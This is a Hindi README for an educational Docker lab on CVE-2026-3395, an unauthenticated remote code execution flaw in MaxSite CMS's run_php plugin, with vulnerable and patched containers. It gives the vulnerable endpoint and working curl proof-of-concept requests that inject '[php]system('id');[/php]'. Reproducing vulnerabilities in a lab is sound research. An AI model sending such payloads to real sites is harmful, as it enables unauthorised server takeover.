
शैक्षिक Docker लैब जो CVE-2026-3395 का प्रदर्शन करती है, जो MaxSite CMS में run_php प्लगइन के माध्यम से एक बिना प्रमाणीकरण वाला RCE है, जिसमें सुरक्षित पुनरुत्पादन और विश्लेषण के लिए कमजोर और पैच किए गए वातावरण शामिल हैं।
यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है। सभी परीक्षण स्थानीय Docker लैब वातावरण में किए जाने चाहिए। इस सेटअप को सार्वजनिक या उत्पादन प्रणालियों पर तैनात न करें।
CVE-2026-3395 MaxSite CMS को प्रभावित करता है और एक प्रशासनिक AJAX एंडपॉइंट तक बिना प्रमाणीकरण पहुंच की अनुमति देता है। जब run_php प्लगइन सक्षम होता है, तो उपयोगकर्ता इनपुट को CMS हुक प्रणाली के माध्यम से PHP कोड के रूप में मूल्यांकित किया जा सकता है, जो रिमोट कोड निष्पादन (RCE) का कारण बन सकता है।
इस रिपॉजिटरी में शामिल हैं:
असुरक्षित एंडपॉइंट यहाँ स्थित है:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
असुरक्षित संस्करण में:
POST data) को mso_hook() के माध्यम से पारित किया जाता हैrun_php प्लगइन [php]...[/php] ब्लॉकों को संसाधित करता हैeval() का उपयोग करके करता हैयदि run_php सक्षम है, तो इसका परिणाम बिना प्रमाणीकरण रिमोट कोड निष्पादन होता है।
पैच किया गया संस्करण निम्न जोड़ता है:
if (!is_login()) die('no login');
mso_checkreferer();
यह पहुंच को केवल प्रमाणित उपयोगकर्ताओं तक सीमित करता है।
यह लैब दो वातावरण बनाता है:
| वातावरण | पोर्ट |
|---|---|
| असुरक्षित | 8081 |
| पैच किया गया | 8082 |
docker compose up -d --build
यह निम्न करेगा:
run_php सक्षम करेगाअपने ब्राउज़र में खोलें:
http://localhost:8081 (असुरक्षित)
http://localhost:8082 (पैच किया गया)
दोनों इंस्टेंस सफलतापूर्वक लोड होने चाहिए।

AJAX रूट base64-एन्कोडेड पथ का उपयोग करता है।
का Base64:
admin/plugins/editor_markitup/preview-ajax.php
है:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
अपेक्षित परिणाम:
no login

कंटेनर रोकने के लिए:
docker compose down -v
इस प्रोजेक्ट का उपयोग केवल पृथक वातावरण में शोध और सीखने के उद्देश्यों के लिए करें।